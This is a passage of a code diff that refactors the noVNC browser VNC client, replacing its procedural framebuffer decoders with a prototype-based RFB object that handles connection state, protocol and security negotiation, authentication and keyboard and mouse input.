+ Util.Error("Received onclose while disconnected" + msg);
} else {
- fail("Disconnected: unsupported encoding " +
- FBU.encoding);
- return false;
+ this._fail("Server disconnected" + msg);
}
- }
+ }.bind(this));
+ this._sock.on('error', function (e) {
+ Util.Warn("WebSocket on-error event");
+ });
- timing.last_fbu = (new Date()).getTime();
+ this._init_vars();
- ret = encHandlers[FBU.encoding]();
-
- now = (new Date()).getTime();
- timing.cur_fbu += (now - timing.last_fbu);
-
- if (ret) {
- encStats[FBU.encoding][0] += 1;
- encStats[FBU.encoding][1] += 1;
- timing.pixels += FBU.width * FBU.height;
- }
-
- if (FBU.rects === 0 || (timing.pixels >= (fb_width * fb_height))) {
- if (((FBU.width === fb_width) &&
- (FBU.height === fb_height)) ||
- (timing.fbu_rt_start > 0)) {
- timing.full_fbu_total += timing.cur_fbu;
- timing.full_fbu_cnt += 1;
- Util.Info("Timing of full FBU, cur: " +
- timing.cur_fbu + ", total: " +
- timing.full_fbu_total + ", cnt: " +
- timing.full_fbu_cnt + ", avg: " +
- (timing.full_fbu_total /
- timing.full_fbu_cnt));
- }
- if (timing.fbu_rt_start > 0) {
- fbu_rt_diff = now - timing.fbu_rt_start;
- timing.fbu_rt_total += fbu_rt_diff;
- timing.fbu_rt_cnt += 1;
- Util.Info("full FBU round-trip, cur: " +
- fbu_rt_diff + ", total: " +
- timing.fbu_rt_total + ", cnt: " +
- timing.fbu_rt_cnt + ", avg: " +
- (timing.fbu_rt_total /
- timing.fbu_rt_cnt));
- timing.fbu_rt_start = 0;
- }
- }
- if (! ret) {
- return ret; // false ret means need more data
- }
- }
-
- conf.onFBUComplete(that,
- {'x': FBU.x, 'y': FBU.y,
- 'width': FBU.width, 'height': FBU.height,
- 'encoding': FBU.encoding,
- 'encodingName': encNames[FBU.encoding]});
-
- return true; // We finished this FBU
-};
-
-//
-// FramebufferUpdate encodings
-//
-
-encHandlers.RAW = function display_raw() {
- //Util.Debug(">> display_raw (" + ws.rQlen() + " bytes)");
-
- var cur_y, cur_height;
-
- if (FBU.lines === 0) {
- FBU.lines = FBU.height;
- }
- FBU.bytes = FBU.width * fb_Bpp; // At least a line
- if (ws.rQwait("RAW", FBU.bytes)) { return false; }
- cur_y = FBU.y + (FBU.height - FBU.lines);
- cur_height = Math.min(FBU.lines,
- Math.floor(ws.rQlen()/(FBU.width * fb_Bpp)));
- display.blitImage(FBU.x, cur_y, FBU.width, cur_height,
- ws.get_rQ(), ws.get_rQi());
- ws.rQshiftBytes(FBU.width * cur_height * fb_Bpp);
- FBU.lines -= cur_height;
-
- if (FBU.lines > 0) {
- FBU.bytes = FBU.width * fb_Bpp; // At least another line
- } else {
- FBU.rects -= 1;
- FBU.bytes = 0;
- }
- //Util.Debug("<< display_raw (" + ws.rQlen() + " bytes)");
- return true;
-};
-
-encHandlers.COPYRECT = function display_copy_rect() {
- //Util.Debug(">> display_copy_rect");
-
- var old_x, old_y;
-
- if (ws.rQwait("COPYRECT", 4)) { return false; }
- old_x = ws.rQshift16();
- old_y = ws.rQshift16();
- display.copyImage(old_x, old_y, FBU.x, FBU.y, FBU.width, FBU.height);
- FBU.rects -= 1;
- FBU.bytes = 0;
- return true;
-};
-
-encHandlers.RRE = function display_rre() {
- //Util.Debug(">> display_rre (" + ws.rQlen() + " bytes)");
- var color, x, y, width, height, chunk;
-
- if (FBU.subrects === 0) {
- if (ws.rQwait("RRE", 4+fb_Bpp)) { return false; }
- FBU.subrects = ws.rQshift32();
- color = ws.rQshiftBytes(fb_Bpp); // Background
- display.fillRect(FBU.x, FBU.y, FBU.width, FBU.height, color);
- }
- while ((FBU.subrects > 0) && (ws.rQlen() >= (fb_Bpp + 8))) {
- color = ws.rQshiftBytes(fb_Bpp);
- x = ws.rQshift16();
- y = ws.rQshift16();
- width = ws.rQshift16();
- height = ws.rQshift16();
- display.fillRect(FBU.x + x, FBU.y + y, width, height, color);
- FBU.subrects -= 1;
- }
- //Util.Debug(" display_rre: rects: " + FBU.rects +
- // ", FBU.subrects: " + FBU.subrects);
-
- if (FBU.subrects > 0) {
- chunk = Math.min(rre_chunk_sz, FBU.subrects);
- FBU.bytes = (fb_Bpp + 8) * chunk;
- } else {
- FBU.rects -= 1;
- FBU.bytes = 0;
- }
- //Util.Debug("<< display_rre, FBU.bytes: " + FBU.bytes);
- return true;
-};
-
-encHandlers.HEXTILE = function display_hextile() {
- //Util.Debug(">> display_hextile");
- var subencoding, subrects, color, cur_tile,
- tile_x, x, w, tile_y, y, h, xy, s, sx, sy, wh, sw, sh,
- rQ = ws.get_rQ(), rQi = ws.get_rQi();
-
- if (FBU.tiles === 0) {
- FBU.tiles_x = Math.ceil(FBU.width/16);
- FBU.tiles_y = Math.ceil(FBU.height/16);
- FBU.total_tiles = FBU.tiles_x * FBU.tiles_y;
- FBU.tiles = FBU.total_tiles;
- }
-
- /* FBU.bytes comes in as 1, ws.rQlen() at least 1 */
- while (FBU.tiles > 0) {
- FBU.bytes = 1;
- if (ws.rQwait("HEXTILE subencoding", FBU.bytes)) { return false; }
- subencoding = rQ[rQi]; // Peek
- if (subencoding > 30) { // Raw
- fail("Disconnected: illegal hextile subencoding " + subencoding);
- //Util.Debug("ws.rQslice(0,30):" + ws.rQslice(0,30));
- return false;
- }
- subrects = 0;
- cur_tile = FBU.total_tiles - FBU.tiles;
- tile_x = cur_tile % FBU.tiles_x;
- tile_y = Math.floor(cur_tile / FBU.tiles_x);
- x = FBU.x + tile_x * 16;
- y = FBU.y + tile_y * 16;
- w = Math.min(16, (FBU.x + FBU.width) - x);
- h = Math.min(16, (FBU.y + FBU.height) - y);
-
- /* Figure out how much we are expecting */
- if (subencoding & 0x01) { // Raw
- //Util.Debug(" Raw subencoding");
- FBU.bytes += w * h * fb_Bpp;
+ var rmode = this._display.get_render_mode();
+ if (Websock_native) {
+ Util.Info("Using native WebSockets");
+ this._updateState('loaded', 'noVNC ready: native WebSockets, ' + rmode);
} else {
- if (subencoding & 0x02) { // Background
- FBU.bytes += fb_Bpp;
+ Util.Warn("Using web-socket-js bridge. Flash version: " + Util.Flash.version);
+ if (!Util.Flash || Util.Flash.version < 9) {
+ this._updateState('fatal', "WebSockets or <a href='http://get.adobe.com/flashplayer'>Adobe Flash</a> is required");
+ } else if (document.location.href.substr(0, 7) === 'file://') {
+ this._updateState('fatal', "'file://' URL is incompatible with Adobe Flash");
+ } else {
+ this._updateState('loaded', 'noVNC ready: WebSockets emulation, ' + rmode);
}
- if (subencoding & 0x04) { // Foreground
- FBU.bytes += fb_Bpp;
+ }
+
+ Util.Debug("<< RFB.constructor");
+ };
+
+ RFB.prototype = {
+ // Public methods
+ connect: function (host, port, password, path) {
+ this._rfb_host = host;
+ this._rfb_port = port;
+ this._rfb_password = (password !== undefined) ? password : "";
+ this._rfb_path = (path !== undefined) ? path : "";
+
+ if (!this._rfb_host || !this._rfb_port) {
+ return this._fail("Must set host and port");
}
- if (subencoding & 0x08) { // AnySubrects
- FBU.bytes += 1; // Since we aren't shifting it off
- if (ws.rQwait("hextile subrects header", FBU.bytes)) { return false; }
- subrects = rQ[rQi + FBU.bytes-1]; // Peek
- if (subencoding & 0x10) { // SubrectsColoured
- FBU.bytes += subrects * (fb_Bpp + 2);
- } else {
- FBU.bytes += subrects * 2;
+
+ this._updateState('connect');
+ },
+
+ disconnect: function () {
+ this._updateState('disconnect', 'Disconnecting');
+ },
+
+ sendPassword: function (passwd) {
+ this._rfb_password = passwd;
+ this._rfb_state = 'Authentication';
+ setTimeout(this._init_msg.bind(this), 1);
+ },
+
+ sendCtrlAltDel: function () {
+ if (this._rfb_state !== 'normal' || this._view_only) { return false; }
+ Util.Info("Sending Ctrl-Alt-Del");
+
+ var arr = [];
+ arr = arr.concat(RFB.messages.keyEvent(0xFFE3, 1)); // Control
+ arr = arr.concat(RFB.messages.keyEvent(0xFFE9, 1)); // Alt
+ arr = arr.concat(RFB.messages.keyEvent(0xFFFF, 1)); // Delete
+ arr = arr.concat(RFB.messages.keyEvent(0xFFFF, 0)); // Delete
+ arr = arr.concat(RFB.messages.keyEvent(0xFFE9, 0)); // Alt
+ arr = arr.concat(RFB.messages.keyEvent(0xFFE3, 0)); // Control
+ this._sock.send(arr);
+ },
+
+ xvpOp: function (ver, op) {
+ if (this._rfb_xvp_ver < ver) { return false; }
+ Util.Info("Sending XVP operation " + op + " (version " + ver + ")");
+ this._sock.send_string("\xFA\x00" + String.fromCharCode(ver) + String.fromCharCode(op));
+ return true;
+ },
+
+ xvpShutdown: function () {
+ return this.xvpOp(1, 2);
+ },
+
+ xvpReboot: function () {
+ return this.xvpOp(1, 3);
+ },
+
+ xvpReset: function () {
+ return this.xvpOp(1, 4);
+ },
+
+ // Send a key press. If 'down' is not specified then send a down key
+ // followed by an up key.
+ sendKey: function (code, down) {
+ if (this._rfb_state !== "normal" || this._view_only) { return false; }
+ var arr = [];
+ if (typeof down !== 'undefined') {
+ Util.Info("Sending key code (" + (down ? "down" : "up") + "): " + code);
+ arr = arr.concat(RFB.messages.keyEvent(code, down ? 1 : 0));
+ } else {
+ Util.Info("Sending key code (down + up): " + code);
+ arr = arr.concat(RFB.messages.keyEvent(code, 1));
+ arr = arr.concat(RFB.messages.keyEvent(code, 0));
+ }
+ this._sock.send(arr);
+ },
+
+ clipboardPasteFrom: function (text) {
+ if (this._rfb_state !== 'normal') { return; }
+ this._sock.send(RFB.messages.clientCutText(text));
+ },
+
+ // Private methods
+
+ _connect: function () {
+ Util.Debug(">> RFB.connect");
+
+ var uri;
+ if (typeof UsingSocketIO !== 'undefined') {
+ uri = 'http';
+ } else {
+ uri = this._encrypt ? 'wss' : 'ws';
+ }
+
+ uri += '://' + this._rfb_host + ':' + this._rfb_port + '/' + this._rfb_path;
+ Util.Info("connecting to " + uri);
+
+ this._sock.open(uri, this._wsProtocols);
+
+ Util.Debug("<< RFB.connect");
+ },
+
+ _init_vars: function () {
+ // reset state
+ this._sock.init();
+
+ this._FBU.rects = 0;
+ this._FBU.subrects = 0; // RRE and HEXTILE
+ this._FBU.lines = 0; // RAW
+ this._FBU.tiles = 0; // HEXTILE
+ this._FBU.zlibs = []; // TIGHT zlib encoders
+ this._mouse_buttonMask = 0;
+ this._mouse_arr = [];
+ this._rfb_tightvnc = false;
+
+ // Clear the per connection encoding stats
+ var i;
+ for (i = 0; i < this._encodings.length; i++) {
+ this._encStats[this._encodings[i][1]][0] = 0;
+ }
+
+ for (i = 0; i < 4; i++) {
+ this._FBU.zlibs[i] = new TINF();
+ this._FBU.zlibs[i].init();
+ }
+ },
+
+ _print_stats: function () {
+ Util.Info("Encoding stats for this connection:");
+ var i, s;
+ for (i = 0; i < this._encodings.length; i++) {
+ s = this._encStats[this._encodings[i][1]];
+ if (s[0] + s[1] > 0) {
+ Util.Info(" " + this._encodings[i][0] + ": " + s[0] + " rects");
}
}
- }
+
+ Util.Info("Encoding stats since page load:");
+ for (i = 0; i < this._encodings.length; i++) {
+ s = this._encStats[this._encodings[i][1]];
+ Util.Info(" " + this._encodings[i][0] + ": " + s[1] + " rects");
+ }
+ },
+
/*
- Util.Debug(" tile:" + cur_tile + "/" + (FBU.total_tiles - 1) +
- " (" + tile_x + "," + tile_y + ")" +
- " [" + x + "," + y + "]@" + w + "x" + h +
- ", subenc:" + subencoding +
- "(last: " + FBU.lastsubencoding + "), subrects:" +
- subrects +
- ", ws.rQlen():" + ws.rQlen() + ", FBU.bytes:" + FBU.bytes +
- " last:" + ws.rQslice(FBU.bytes-10, FBU.bytes) +
- " next:" + ws.rQslice(FBU.bytes-1, FBU.bytes+10));
- */
- if (ws.rQwait("hextile", FBU.bytes)) { return false; }
+ * Page states:
+ * loaded - page load, equivalent to disconnected
+ * disconnected - idle state
+ * connect - starting to connect (to ProtocolVersion)
+ * normal - connected
+ * disconnect - starting to disconnect
+ * failed - abnormal disconnect
+ * fatal - failed to load page, or fatal error
+ *
+ * RFB protocol initialization states:
+ * ProtocolVersion
+ * Security
+ * Authentication
+ * password - waiting for password, not part of RFB
+ * SecurityResult
+ * ClientInitialization - not triggered by server message
+ * ServerInitialization (to normal)
+ */
+ _updateState: function (state, statusMsg) {
+ var oldstate = this._rfb_state;
- /* We know the encoding and have a whole tile */
- FBU.subencoding = rQ[rQi];
- rQi += 1;
- if (FBU.subencoding === 0) {
- if (FBU.lastsubencoding & 0x01) {
- /* Weird: ignore blanks after RAW */
- Util.Debug(" Ignoring blank after RAW");
+ if (state === oldstate) {
+ // Already here, ignore
+ Util.Debug("Already in state '" + state + "', ignoring");
+ }
+
+ /*
+ * These are disconnected states. A previous connect may
+ * asynchronously cause a connection so make sure we are closed.
+ */
+ if (state in {'disconnected': 1, 'loaded': 1, 'connect': 1,
+ 'disconnect': 1, 'failed': 1, 'fatal': 1}) {
+
+ if (this._sendTimer) {
+ clearInterval(this._sendTimer);
+ this._sendTimer = null;
+ }
+
+ if (this._msgTimer) {
+ clearInterval(this._msgTimer);
+ this._msgTimer = null;
+ }
+
+ if (this._display && this._display.get_context()) {
+ this._keyboard.ungrab();
+ this._mouse.ungrab();
+ this._display.defaultCursor();
+ if (Util.get_logging() !== 'debug' || state === 'loaded') {
+ // Show noVNC logo on load and when disconnected, unless in
+ // debug mode
+ this._display.clear();
+ }
+ }
+
+ this._sock.close();
+ }
+
+ if (oldstate === 'fatal') {
+ Util.Error('Fatal error, cannot continue');
+ }
+
+ var cmsg = typeof(statusMsg) !== 'undefined' ? (" Msg: " + statusMsg) : "";
+ var fullmsg = "New state '" + state + "', was '" + oldstate + "'." + cmsg;
+ if (state === 'failed' || state === 'fatal') {
+ Util.Error(cmsg);
} else {
- display.fillRect(x, y, w, h, FBU.background);
- }
- } else if (FBU.subencoding & 0x01) { // Raw
- display.blitImage(x, y, w, h, rQ, rQi);
- rQi += FBU.bytes - 1;
- } else {
- if (FBU.subencoding & 0x02) { // Background
- FBU.background = rQ.slice(rQi, rQi + fb_Bpp);
- rQi += fb_Bpp;
- }
- if (FBU.subencoding & 0x04) { // Foreground
- FBU.foreground = rQ.slice(rQi, rQi + fb_Bpp);
- rQi += fb_Bpp;
+ Util.Warn(cmsg);
}
- display.startTile(x, y, w, h, FBU.background);
- if (FBU.subencoding & 0x08) { // AnySubrects
- subrects = rQ[rQi];
- rQi += 1;
- for (s = 0; s < subrects; s += 1) {
- if (FBU.subencoding & 0x10) { // SubrectsColoured
- color = rQ.slice(rQi, rQi + fb_Bpp);
- rQi += fb_Bpp;
+ if (oldstate === 'failed' && state === 'disconnected') {
+ // do disconnect action, but stay in failed state
+ this._rfb_state = 'failed';
+ } else {
+ this._rfb_state = state;
+ }
+
+ if (this._disconnTimer && this._rfb_state !== 'disconnect') {
+ Util.Debug("Clearing disconnect timer");
+ clearTimeout(this._disconnTimer);
+ this._disconnTimer = null;
+ }
+
+ switch (state) {
+ case 'normal':
+ if (oldstate === 'disconnected' || oldstate === 'failed') {
+ Util.Error("Invalid transition from 'disconnected' or 'failed' to 'normal'");
+ }
+ break;
+
+ case 'connect':
+ this._init_vars();
+ this._connect();
+ // WebSocket.onopen transitions to 'ProtocolVersion'
+ break;
+
+ case 'disconnect':
+ this._disconnTimer = setTimeout(function () {
+ this._fail("Disconnect timeout");
+ }.bind(this), this._disconnectTimeout * 1000);
+
+ this._print_stats();
+
+ // WebSocket.onclose transitions to 'disconnected'
+ break;
+
+ case 'failed':
+ if (oldstate === 'disconnected') {
+ Util.Error("Invalid transition from 'disconnected' to 'failed'");
+ } else if (oldstate === 'normal') {
+ Util.Error("Error while connected.");
+ } else if (oldstate === 'init') {
+ Util.Error("Error while initializing.");
+ }
+
+ // Make sure we transition to disconnected
+ setTimeout(function () {
+ this._updateState('disconnected');
+ }.bind(this), 50);
+
+ break;
+
+ default:
+ // No state change action to take
+ }
+
+ if (oldstate === 'failed' && state === 'disconnected') {
+ this._onUpdateState(this, state, oldstate);
+ } else {
+ this._onUpdateState(this, state, oldstate, statusMsg);
+ }
+ },
+
+ _fail: function (msg) {
+ this._updateState('failed', msg);
+ return false;
+ },
+
+ _handle_message: function () {
+ if (this._sock.rQlen() === 0) {
+ Util.Warn("handle_message called on an empty receive queue");
+ return;
+ }
+
+ switch (this._rfb_state) {
+ case 'disconnected':
+ case 'failed':
+ Util.Error("Got data while disconnected");
+ break;
+ case 'normal':
+ if (this._normal_msg() && this._sock.rQlen() > 0) {
+ // true means we can continue processing
+ // Give other events a chance to run
+ if (this._msgTimer === null) {
+ Util.Debug("More data to process, creating timer");
+ this._msgTimer = setTimeout(function () {
+ this._msgTimer = null;
+ this._handle_message();
+ }.bind(this), 10);
+ } else {
+ Util.Debug("More data to process, existing timer");
+ }
+ }
+ break;
+ default:
+ this._init_msg();
+ break;
+ }
+ },
+
+ _checkEvents: function () {
+ if (this._rfb_state === 'normal' && !this._viewportDragging && this._mouse_arr.length > 0) {
+ this._sock.send(this._mouse_arr);
+ this._mouse_arr = [];
+ }
+ },
+
+ _handleKeyPress: function (keysym, down) {
+ if (this._view_only) { return; } // View only, skip keyboard, events
+ this._sock.send(RFB.messages.keyEvent(keysym, down));
+ },
+
+ _handleMouseButton: function (x, y, down, bmask) {
+ if (down) {
+ this._mouse_buttonMask |= bmask;
+ } else {
+ this._mouse_buttonMask ^= bmask;
+ }
+
+ if (this._viewportDrag) {
+ if (down && !this._viewportDragging) {
+ this._viewportDragging = true;
+ this._viewportDragPos = {'x': x, 'y': y};
+
+ // Skip sending mouse events
+ return;
+ } else {
+ this._viewportDragging = false;
+ }
+ }
+
+ if (this._view_only) { return; } // View only, skip mouse events
+
+ this._mouse_arr = this._mouse_arr.concat(
+ RFB.messages.pointerEvent(this._display.absX(x), this._display.absY(y), this._mouse_buttonMask));
+ this._sock.send(this._mouse_arr);
+ this._mouse_arr = [];
+ },
+
+ _handleMouseMove: function (x, y) {
+ if (this._viewportDragging) {
+ var deltaX = this._viewportDragPos.x - x;
+ var deltaY = this._viewportDragPos.y - y;
+ this._viewportDragPos = {'x': x, 'y': y};
+
+ this._display.viewportChange(deltaX, deltaY);
+
+ // Skip sending mouse events
+ return;
+ }
+
+ if (this._view_only) { return; } // View only, skip mouse events
+
+ this._mouse_arr = this._mouse_arr.concat(
+ RFB.messages.pointerEvent(this._display.absX(x), this._display.absY(y), this._mouse_buttonMask));
+
+ this._checkEvents();
+ },
+
+ // Message Handlers
+
+ _negotiate_protocol_version: function () {
+ if (this._sock.rQlen() < 12) {
+ return this._fail("Incomplete protocol version");
+ }
+
+ var sversion = this._sock.rQshiftStr(12).substr(4, 7);
+ Util.Info("Server ProtocolVersion: " + sversion);
+ var is_repeater = 0;
+ switch (sversion) {
+ case "000.000": // UltraVNC repeater
+ is_repeater = 1;
+ break;
+ case "003.003":
+ case "003.006": // UltraVNC
+ case "003.889": // Apple Remote Desktop
+ this._rfb_version = 3.3;
+ break;
+ case "003.007":
+ this._rfb_version = 3.7;
+ break;
+ case "003.008":
+ case "004.000": // Intel AMT KVM
+ case "004.001": // RealVNC 4.6
+ this._rfb_version = 3.8;
+ break;
+ default:
+ return this._fail("Invalid server version " + sversion);
+ }
+
+ if (is_repeater) {
+ var repeaterID = this._repeaterID;
+ while (repeaterID.length < 250) {
+ repeaterID += "\0";
+ }
+ this._sock.send_string(repeaterID);
+ return true;
+ }
+
+ if (this._rfb_version > this._rfb_max_version) {
+ this._rfb_version = this._rfb_max_version;
+ }
+
+ // Send updates either at a rate of 1 update per 50ms, or
+ // whatever slower rate the network can handle
+ this._sendTimer = setInterval(this._sock.flush.bind(this._sock), 50);
+
+ var cversion = "00" + parseInt(this._rfb_version, 10) +
+ ".00" + ((this._rfb_version * 10) % 10);
+ this._sock.send_string("RFB " + cversion + "\n");
+ this._updateState('Security', 'Sent ProtocolVersion: ' + cversion);
+ },
+
+ _negotiate_security: function () {
+ if (this._rfb_version >= 3.7) {
+ // Server sends supported list, client decides
+ var num_types = this._sock.rQshift8();
+ if (this._sock.rQwait("security type", num_types, 1)) { return false; }
+
+ if (num_types === 0) {
+ var strlen = this._sock.rQshift32();
+ var reason = this._sock.rQshiftStr(strlen);
+ return this._fail("Security failure: " + reason);
+ }
+
+ this._rfb_auth_scheme = 0;
+ var types = this._sock.rQshiftBytes(num_types);
+ Util.Debug("Server security types: " + types);
+ for (var i = 0; i < types.length; i++) {
+ if (types[i] > this._rfb_auth_scheme && (types[i] <= 16 || types[i] == 22)) {
+ this._rfb_auth_scheme = types[i];
+ }
+ }
+
+ if (this._rfb_auth_scheme === 0) {
+ return this._fail("Unsupported security types: " + types);
+ }
+
+ this._sock.send([this._rfb_auth_scheme]);
+ } else {
+ // Server decides
+ if (this._sock.rQwait("security scheme", 4)) { return false; }
+ this._rfb_auth_scheme = this._sock.rQshift32();
+ }
+
+ this._updateState('Authentication', 'Authenticating using scheme: ' + this._rfb_auth_scheme);
+ return this._init_msg(); // jump to authentication
+ },
+
+ // authentication
+ _negotiate_xvp_auth: function () {
+ var xvp_sep = this._xvp_password_sep;
+ var xvp_auth = this._rfb_password.split(xvp_sep);
+ if (xvp_auth.length < 3) {
+ this._updateState('password', 'XVP credentials required (user' + xvp_sep +
+ 'target' + xvp_sep + 'password) -- got only ' + this._rfb_password);
+ this._onPasswordRequired(this);
+ return false;
+ }
+
+ var xvp_auth_str = String.fromCharCode(xvp_auth[0].length) +
+ String.fromCharCode(xvp_auth[1].length) +
+ xvp_auth[0] +
+ xvp_auth[1];
+ this._sock.send_string(xvp_auth_str);
+ this._rfb_password = xvp_auth.slice(2).join(xvp_sep);
+ this._rfb_auth_scheme = 2;
+ return this._negotiate_authentication();
+ },
+
+ _negotiate_std_vnc_auth: function () {
+ if (this._rfb_password.length === 0) {
+ // Notify via both callbacks since it's kind of
+ // an RFB state change and a UI interface issue
+ this._updateState('password', "Password Required");
+ this._onPasswordRequired(this);
+ }
+
+ if (this._sock.rQwait("auth challenge", 16)) { return false; }
+
+ var challenge = this._sock.rQshiftBytes(16);
+ var response = RFB.genDES(this._rfb_password, challenge);
+ this._sock.send(response);
+ this._updateState("SecurityResult");
+ return true;
+ },
+
+ _negotiate_tight_tunnels: function (numTunnels) {
+ var clientSupportedTunnelTypes = {
+ 0: { vendor: 'TGHT', signature: 'NOTUNNEL' }
+ };
+ var serverSupportedTunnelTypes = {};
+ // receive tunnel capabilities
+ for (var i = 0; i < numTunnels; i++) {
+ var cap_code = this._sock.rQshift32();
+ var cap_vendor = this._sock.rQshiftStr(4);
+ var cap_signature = this._sock.rQshiftStr(8);
+ serverSupportedTunnelTypes[cap_code] = { vendor: cap_vendor, signature: cap_signature };
+ }
+
+ // choose the notunnel type
+ if (serverSupportedTunnelTypes[0]) {
+ if (serverSupportedTunnelTypes[0].vendor != clientSupportedTunnelTypes[0].vendor ||
+ serverSupportedTunnelTypes[0].signature != clientSupportedTunnelTypes[0].signature) {
+ return this._fail("Client's tunnel type had the incorrect vendor or signature");
+ }
+ this._sock.send([0, 0, 0, 0]); // use NOTUNNEL
+ return false; // wait until we receive the sub auth count to continue
+ } else {
+ return this._fail("Server wanted tunnels, but doesn't support the notunnel type");
+ }
+ },
+
+ _negotiate_tight_auth: function () {
+ if (!this._rfb_tightvnc) { // first pass, do the tunnel negotiation
+ if (this._sock.rQwait("num tunnels", 4)) { return false; }
+ var numTunnels = this._sock.rQshift32();
+ if (numTunnels > 0 && this._sock.rQwait("tunnel capabilities", 16 * numTunnels, 4)) { return false; }
+
+ this._rfb_tightvnc = true;
+
+ if (numTunnels > 0) {
+ this._negotiate_tight_tunnels(numTunnels);
+ return false; // wait until we receive the sub auth to continue
+ }
+ }
+
+ // second pass, do the sub-auth negotiation
+ if (this._sock.rQwait("sub auth count", 4)) { return false; }
+ var subAuthCount = this._sock.rQshift32();
+ if (this._sock.rQwait("sub auth capabilities", 16 * subAuthCount, 4)) { return false; }
+
+ var clientSupportedTypes = {
+ 'STDVNOAUTH__': 1,
+ 'STDVVNCAUTH_': 2
+ };
+
+ var serverSupportedTypes = [];
+
+ for (var i = 0; i < subAuthCount; i++) {
+ var capNum = this._sock.rQshift32();
+ var capabilities = this._sock.rQshiftStr(12);
+ serverSupportedTypes.push(capabilities);
+ }
+
+ for (var authType in clientSupportedTypes) {
+ if (serverSupportedTypes.indexOf(authType) != -1) {
+ this._sock.send([0, 0, 0, clientSupportedTypes[authType]]);
+
+ switch (authType) {
+ case 'STDVNOAUTH__': // no auth
+ this._updateState('SecurityResult');
+ return true;
+ case 'STDVVNCAUTH_': // VNC auth
+ this._rfb_auth_scheme = 2;
+ return this._init_msg();
+ default:
+ return this._fail("Unsupported tiny auth scheme: " + authType);
+ }
+ }
+ }
+
+ this._fail("No supported sub-auth types!");
+ },
+
+ _negotiate_authentication: function () {
+ switch (this._rfb_auth_scheme) {
+ case 0: // connection failed
+ if (this._sock.rQwait("auth reason", 4)) { return false; }
+ var strlen = this._sock.rQshift32();
+ var reason = this._sock.rQshiftStr(strlen);
+ return this._fail("Auth failure: " + reason);
+
+ case 1: // no auth
+ if (this._rfb_version >= 3.8) {
+ this._updateState('SecurityResult');
+ return true;
+ }
+ this._updateState('ClientInitialisation', "No auth required");
+ return this._init_msg();
+
+ case 22: // XVP auth
+ return this._negotiate_xvp_auth();
+
+ case 2: // VNC authentication
+ return this._negotiate_std_vnc_auth();
+
+ case 16: // TightVNC Security Type
+ return this._negotiate_tight_auth();
+
+ default:
+ return this._fail("Unsupported auth scheme: " + this._rfb_auth_scheme);
+ }
+ },
+
+ _handle_security_result: function () {
+ if (this._sock.rQwait('VNC auth response ', 4)) { return false; }
+ switch (this._sock.rQshift32()) {
+ case 0: // OK
+ this._updateState('ClientInitialisation', 'Authentication OK');
+ return this._init_msg();
+ case 1: // failed
+ if (this._rfb_version >= 3.8) {
+ var length = this._sock.rQshift32();
+ if (this._sock.rQwait("SecurityResult reason", length, 8)) { return false; }
+ var reason = this._sock.rQshiftStr(length);
+ return this._fail(reason);
} else {
- color = FBU.foreground;
+ return this._fail("Authentication failure");
}
- xy = rQ[rQi];
- rQi += 1;
- sx = (xy >> 4);
- sy = (xy & 0x0f);
+ return false;
+ case 2:
+ return this._fail("Too many auth attempts");
+ }
+ },
- wh = rQ[rQi];
- rQi += 1;
- sw = (wh >> 4) + 1;
- sh = (wh & 0x0f) + 1;
+ _negotiate_server_init: function () {
+ if (this._sock.rQwait("server initialization", 24)) { return false; }
- display.subTile(sx, sy, sw, sh, color);
+ /* Screen size */
+ this._fb_width = this._sock.rQshift16();
+ this._fb_height = this._sock.rQshift16();
+
+ /* PIXEL_FORMAT */
+ var bpp = this._sock.rQshift8();
+ var depth = this._sock.rQshift8();
+ var big_endian = this._sock.rQshift8();
+ var true_color = this._sock.rQshift8();
+
+ var red_max = this._sock.rQshift16();
+ var green_max = this._sock.rQshift16();
+ var blue_max = this._sock.rQshift16();
+ var red_shift = this._sock.rQshift8();
+ var green_shift = this._sock.rQshift8();
+ var blue_shift = this._sock.rQshift8();
+ this._sock.rQskipBytes(3); // padding
+
+ // NB(directxman12): we don't want to call any callbacks or print messages until
+ // *after* we're past the point where we could backtrack
+
+ /* Connection name/title */
+ var name_length = this._sock.rQshift32();
+ if (this._sock.rQwait('server init name', name_length, 24)) { return false; }
+ this._fb_name = Util.decodeUTF8(this._sock.rQshiftStr(name_length));
+
+ if (this._rfb_tightvnc) {
+ if (this._sock.rQwait('TightVNC extended server init header', 8, 24 + name_length)) { return false; }
+ // In TightVNC mode, ServerInit message is extended
+ var numServerMessages = this._sock.rQshift16();
+ var numClientMessages = this._sock.rQshift16();
+ var numEncodings = this._sock.rQshift16();
+ this._sock.rQskipBytes(2); // padding
+
+ var totalMessagesLength = (numServerMessages + numClientMessages + numEncodings) * 16;
+ if (this._sock.rQwait('TightVNC extended server init header', totalMessagesLength, 32 + name_length)) { return false; }
+
+ var i;
+ for (i = 0; i < numServerMessages; i++) {
+ var srvMsg = this._sock.rQshiftStr(16);
+ }
+
+ for (i = 0; i < numClientMessages; i++) {
+ var clientMsg = this._sock.rQshiftStr(16);
+ }
+
+ for (i = 0; i < numEncodings; i++) {
+ var encoding = this._sock.rQshiftStr(16);
}
}
- display.finishTile();
- }
- ws.set_rQi(rQi);
- FBU.lastsubencoding = FBU.subencoding;
- FBU.bytes = 0;
- FBU.tiles -= 1;
- }
- if (FBU.tiles === 0) {
- FBU.rects -= 1;
- }
+ // NB(directxman12): these are down here so that we don't run them multiple times
+ // if we backtrack
+ Util.Info("Screen: " + this._fb_width + "x" + this._fb_height +
+ ", bpp: " + bpp + ", depth: " + depth +
+ ", big_endian: " + big_endian +
+ ", true_color: " + true_color +
+ ", red_max: " + red_max +
+ ", green_max: " + green_max +
+ ", blue_max: " + blue_max +
+ ", red_shift: " + red_shift +
+ ", green_shift: " + green_shift +
+ ", blue_shift: " + blue_shift);
- //Util.Debug("<< display_hextile");
- return true;
-};
-
-
-// Get 'compact length' header and data size
-getTightCLength = function (arr) {
- var header = 1, data = 0;
- data += arr[0] & 0x7f;
- if (arr[0] & 0x80) {
- header += 1;
- data += (arr[1] & 0x7f) << 7;
- if (arr[1] & 0x80) {
- header += 1;
- data += arr[2] << 14;
- }
- }
- return [header, data];
-};
-
-function display_tight(isTightPNG) {
- //Util.Debug(">> display_tight");
-
- if (fb_depth === 1) {
- fail("Tight protocol handler only implements true color mode");
- }
-
- var ctl, cmode, clength, color, img, data;
- var filterId = -1, resetStreams = 0, streamId = -1;
- var rQ = ws.get_rQ(), rQi = ws.get_rQi();
-
- FBU.bytes = 1; // compression-control byte
- if (ws.rQwait("TIGHT compression-control", FBU.bytes)) { return false; }
-
- var checksum = function(data) {
- var sum=0, i;
- for (i=0; i<data.length;i++) {
- sum += data[i];
- if (sum > 65536) sum -= 65536;
- }
- return sum;
- }
-
